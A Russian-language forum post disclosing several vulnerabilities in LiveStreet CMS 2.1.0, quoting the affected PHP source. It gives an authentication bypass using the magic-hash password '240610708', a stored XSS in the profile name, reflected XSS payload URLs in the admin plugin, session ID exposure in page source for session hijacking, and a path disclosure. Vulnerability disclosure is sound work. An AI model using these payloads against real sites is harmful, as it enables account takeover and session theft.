Показать сообщение отдельно

  #517  
Старый 03.04.2021, 22:48
Baskin-Robbins
Участник форума
Регистрация: 15.09.2018
Сообщений: 236
С нами: 4033046

Репутация: 212
По умолчанию

LiveStreet 2.1.0

Сайт - livestreetcms.com

#1 Bypass Auth(Type Jugling)

Рандомный обход проверки подлинности пароля, используя особенности гибкого сравнения в PHP.

Залогиниться возможно от юзера, чей пасс в md5 соответсвует 0e[0-9]{30}.

Логинимся с пассом 240610708 - треш бага.

Код:
application/classes/actions/ActionAuth.class.php:116
----------------------------------------------------
/**
 * Сверяем хеши паролей и проверяем активен ли юзер
 */
if ($this->User_VerifyAccessAuth($oUser) and $oUser->verifyPassword(getRequest('password'))) {
----------------------------------------------------

application/classes/modules/user/entity/User.entity.class.php:655
----------------------------------------------------
public function verifyPassword($sPassword)
{
   return $this->User_VerifyPassword($sPassword, $this->getPassword());
}
----------------------------------------------------

application/classes/modules/user/User.class.php:1955
----------------------------------------------------
public function VerifyPassword($sPassword, $sHash)
{
   return $this->MakeHashPassword($sPassword) == $sHash; // уязвимая точка
}
----------------------------------------------------
#2 Stored XSS

В поле имя в настройках профиля, ограничение поля - 30 символов.

Код:
application/classes/actions/ActionSettings.class.php
-----------------------
...
            if (func_check(getRequestStr('profile_name'), 'text', 2, Config::Get('module.user.name_max'))) {
                $this->oUserCurrent->setProfileName(getRequestStr('profile_name'));
            } else {
                $this->oUserCurrent->setProfileName(null);
            }
...
-----------------------
#3 Reflected XSS(в админ плагине)

Необходим установленный плагин админки.

Код:
livestreet2/admin/users/list/?filter[id]=">alert()
/livestreet2/admin/users/admins/?filter[id]=">alert()
livestreet2/admin/users/list/?filter[password]=">alert()

и так далее
Код:
application/plugins/admin/classes/actions/admin/EventUsers.class.php
-----------------------
protected function GetUsersListByRules($sFullPagePathToEvent, $aAdditionalUsersFilter = array())
...
        $aValidatedSearchRules = $this->GetSearchRule($this->GetDataFromFilter());
...
-----------------------
    
application/plugins/admin/classes/actions/admin/ActionAdmin.class.php
-----------------------
    protected function GetDataFromFilter($sName = null)
    {
        /*
         * получить фильтр, хранящий в себе все параметры (разрезы показа, сортировку, поиск и др.)
         */
        if ($aFilter = getRequest('filter') and is_array($aFilter)) {
            /*
             * если нужны все значения фильтра
             */
            if (!$sName) {
                return $aFilter;
            }
            /*
             * если нужно выбрать одно значение из фильтра
             */
            if ($sName and isset($aFilter[$sName]) and $aFilter[$sName]) {
                return $aFilter[$sName];
            }
        }
        return null;
    }
-----------------------
#3,1 Cookie HttpOnly Bypass(с помощью админ плагина)

Необходим установленный плагин админки. В сорцах выводится PHPSESSID,

этого достаточно для Session Hijacking.

Код:
application/plugins/admin/frontend/skin/default/layouts/layout.base.tpl
-----------------------
...
    
        var PATH_ROOT = '{Router::GetPath('/')}',
                PATH_SKIN = '{Config::Get("path.skin.web")}',
                PATH_FRAMEWORK_FRONTEND = '{Config::Get("path.framework.frontend.web")}',
                PATH_FRAMEWORK_LIBS_VENDOR = '{Config::Get("path.framework.libs_vendor.web")}',
                /**
                 * Для совместимости с прошлыми версиями. БУДУТ УДАЛЕНЫ
                 */
                DIR_WEB_ROOT = '{Config::Get("path.root.web")}',
                DIR_STATIC_SKIN = '{Config::Get("path.skin.web")}',
                DIR_STATIC_FRAMEWORK = '{Config::Get("path.framework.frontend.web")}',
                DIR_ENGINE_LIBS = '{Config::Get("path.framework.web")}/libs',

                LIVESTREET_SECURITY_KEY = '{$LIVESTREET_SECURITY_KEY}',
                SESSION_ID = '{$_sPhpSessionId}',
                SESSION_NAME = '{$_sPhpSessionName}',
                LANGUAGE = '{Config::Get('lang.current')}',
                WYSIWYG = {if Config::Get('view.wysiwyg')}true{else}false{/if};

        var aRouter = [];
        {foreach $aRouter as $sPage => $sPath}
        aRouter['{$sPage}'] = '{$sPath}';
        {/foreach}
    
...
-----------------------
#3,2 Full Path Disclosure


livestreet2/admin/utils/cron/

Код:
Внимание! Для работы планировшика нужно на вашем сервере добавить скрипт /var/www/html/livestreet2/application/utilities/cron/main.php в cron с запуском 1 раз в 5 минут. Cron необходимо добавить от имени пользователя, под которым работает ваш веб-сервер. Это позволит избежать проблем с правами. За подробностями работы с cron обратитесь к вашему системному администратору или хостеру.
 
Ответить с цитированием